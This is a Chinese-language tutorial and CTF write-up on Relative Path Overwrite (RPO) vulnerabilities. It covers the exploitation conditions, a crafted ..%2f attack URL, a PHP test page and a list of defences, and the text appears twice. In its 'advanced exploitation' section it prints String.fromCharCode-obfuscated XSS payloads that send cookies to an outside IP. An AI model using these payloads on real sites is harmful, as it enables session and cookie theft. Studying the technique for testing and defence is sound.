深入剖析RPO漏洞
字数 1115 2025-08-29 08:32:02

RPO漏洞深入分析与利用指南

一、RPO漏洞概述

RPO (Relative Path Overwrite)即相对路径覆盖漏洞,是一种利用浏览器和服务器对资源加载路径解析差异的安全漏洞。通过精心构造的URL,攻击者可以诱使浏览器将非JavaScript/CSS文件当作脚本或样式表来解析执行。

核心原理

  • 服务端与客户端URL解析不一致:服务器和浏览器对URL中的路径和特殊字符(如%2f)处理方式不同
  • 相对路径资源加载:浏览器在解析相对路径引用的资源时,基于当前URL路径而非服务器实际返回的路径
  • 非JS/CSS文件被当作脚本解析:攻击者可以诱导浏览器将普通HTML内容当作JavaScript代码执行

二、漏洞利用条件

  1. 网站使用相对路径引用静态资源(JS/CSS)
  2. 服务器和浏览器对URL的解析存在差异
  3. 攻击者能够控制部分页面内容
  4. 目标页面能够返回纯文本内容(不含HTML标签)

三、漏洞利用流程(以强网杯题目为例)

1. 漏洞发现

  • 目标系统存在一个文章发布功能
  • 当文章标题为空时,返回纯文本内容
  • 系统使用相对路径引用jQuery等JS文件

2. 攻击步骤

第一步:创建恶意内容

  1. 发布一篇无标题文章,内容为XSS payload:
    alert(1)
    

第二步:构造RPO攻击URL

http://target.com/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php

第三步:浏览器解析过程

  1. 服务器解析

    • 解码%2f为/
    • 实际访问路径:/index.php/view/article/36967/index.php
    • 返回36967文章的内容(alert(1))
  2. 浏览器解析

    • 不解码%2f,将..%2f..%2f..%2f..%2findex.php视为无用参数
    • 当前URL被视为:/index.php/view/article/36967/
    • 加载相对路径资源时,构造的URL变为:
      /index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js
      
    • 服务器返回36967文章内容(alert(1)),被当作JS执行

3. 进阶利用

当存在过滤时,可使用String.fromCharCode绕过:

(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;

读取二级目录cookie:

var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
    var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
    var n0t = document.createElement(String.fromCharCode(108,105,110,107));
    n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
    n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
    document.head.appendChild(n0t);
}

四、测试环境搭建

PHP测试代码

<?php 
$path='http://localhost/hello/'
?>
<a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
<li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
<li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
<li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
<link rel="stylesheet" href="./style.css" style="css" />

<?php
$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'])):null;
$value='';
for($_=0;$_<count($arr);$_+=2){
    $value[$arr[$_]]=$arr[$_+1];
}
$value['country']=isset($value['country'])?$value['country']:null;
switch ($value['country']) {
    case 'wei': ?>
        <h1>welcome to 魏国!</h1>
    <?php break;
    case 'shu': ?>
        <h1>welcome to 蜀国!</h1>
    <?php break;
    case 'wu': ?>
        <h1>welcome to 吴国!</h1>
    <?php break;
    default: ?>
        <h1>welcome!</h1>
    <?php break;
}
?>

style.css文件

h1 {
    font-size:180px;
    color:blue;
}

五、防御措施

  1. 使用绝对路径引用静态资源:避免使用相对路径
  2. 统一URL解析规则:确保服务器和客户端对URL的解析一致
  3. 内容安全策略(CSP):限制脚本来源
  4. 禁用路径遍历:过滤../等路径遍历字符
  5. 严格区分内容类型:确保JS/CSS文件有正确的MIME类型

六、相关资源

  1. 34C3 CTF URLStorage题目
  2. Pwnhub "大物必须过"题目
  3. 绿盟RPO相关文章

通过深入理解RPO漏洞的原理和利用方式,安全研究人员可以更好地发现和防御此类漏洞,提高Web应用的安全性。

RPO漏洞深入分析与利用指南 一、RPO漏洞概述 RPO (Relative Path Overwrite)即相对路径覆盖漏洞,是一种利用浏览器和服务器对资源加载路径解析差异的安全漏洞。通过精心构造的URL,攻击者可以诱使浏览器将非JavaScript/CSS文件当作脚本或样式表来解析执行。 核心原理 服务端与客户端URL解析不一致 :服务器和浏览器对URL中的路径和特殊字符(如%2f)处理方式不同 相对路径资源加载 :浏览器在解析相对路径引用的资源时,基于当前URL路径而非服务器实际返回的路径 非JS/CSS文件被当作脚本解析 :攻击者可以诱导浏览器将普通HTML内容当作JavaScript代码执行 二、漏洞利用条件 网站使用相对路径引用静态资源(JS/CSS) 服务器和浏览器对URL的解析存在差异 攻击者能够控制部分页面内容 目标页面能够返回纯文本内容(不含HTML标签) 三、漏洞利用流程(以强网杯题目为例) 1. 漏洞发现 目标系统存在一个文章发布功能 当文章标题为空时,返回纯文本内容 系统使用相对路径引用jQuery等JS文件 2. 攻击步骤 第一步:创建恶意内容 发布一篇无标题文章,内容为XSS payload: 第二步:构造RPO攻击URL 第三步:浏览器解析过程 服务器解析 : 解码%2f为/ 实际访问路径: /index.php/view/article/36967/index.php 返回36967文章的内容( alert(1) ) 浏览器解析 : 不解码%2f,将 ..%2f..%2f..%2f..%2findex.php 视为无用参数 当前URL被视为: /index.php/view/article/36967/ 加载相对路径资源时,构造的URL变为: 服务器返回36967文章内容( alert(1) ),被当作JS执行 3. 进阶利用 当存在过滤时,可使用String.fromCharCode绕过: 读取二级目录cookie: 四、测试环境搭建 PHP测试代码 style.css文件 五、防御措施 使用绝对路径引用静态资源 :避免使用相对路径 统一URL解析规则 :确保服务器和客户端对URL的解析一致 内容安全策略(CSP) :限制脚本来源 禁用路径遍历 :过滤 ../ 等路径遍历字符 严格区分内容类型 :确保JS/CSS文件有正确的MIME类型 六、相关资源 34C3 CTF URLStorage题目 Pwnhub "大物必须过"题目 绿盟RPO相关文章 通过深入理解RPO漏洞的原理和利用方式,安全研究人员可以更好地发现和防御此类漏洞,提高Web应用的安全性。